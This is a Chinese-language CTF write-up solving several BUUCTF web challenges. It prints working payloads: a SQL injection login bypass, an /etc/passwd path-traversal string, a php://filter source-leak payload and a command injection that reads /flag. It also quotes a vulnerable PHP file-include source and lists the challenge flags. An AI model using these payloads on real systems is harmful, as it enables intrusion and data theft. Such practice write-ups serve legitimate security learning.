CTF平台:https://buuoj.cn/
[极客大挑战 2019]EasySQL
使用万能密码登入即可。
1'or'1'='1 #万能密码(注意是英文小写)
flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}
[极客大挑战 2019]Havefun
F12
查看源代码 发现是PHP
代码审计(小猫挺可爱呢~)
php"><!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
传了一个变量 然后是GET
请求 如果cat=dog
就会输出 flag
构造Payload:/?cat=dog
flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}
CTF_2018WarmUp_41">[HCTF 2018]WarmUp
打开网页看到滑稽图 直接F12
然后访问这个敏感信息 source.php
直接看源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
flag{313235c5-75b2-4e8a-b225-8e7413865bc7}
CTF2020_Include_105">[ACTF2020 新生赛]Include
这里我们看到了?file=flag.php
我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息
文件包含分为本地文件包含 和 远程文件包含(php.ini
可以进行配置)
allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)
常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()
Require
: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;Include
:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;Require_once
:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
用法:?file=../../../../../../../../../../../../../../../../etc/passwd
PHP
伪协议:
php://filter
使用:
php://filter/read=convert.base64-encode/resource=xxx # 用base64编码的方式来读文件flag.php
Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php
然后Base64
解码就可以得到flag
。
flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}
CTF2020_Exec_142">[ACTF2020 新生赛]Exec
简单的命令执行 : 127.0.0.1 || cat /flag
即可得到flag
。
flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}
[强网杯 2019]随便注
输入1,2
输入3
的时候发现报错了 说明只有两个字段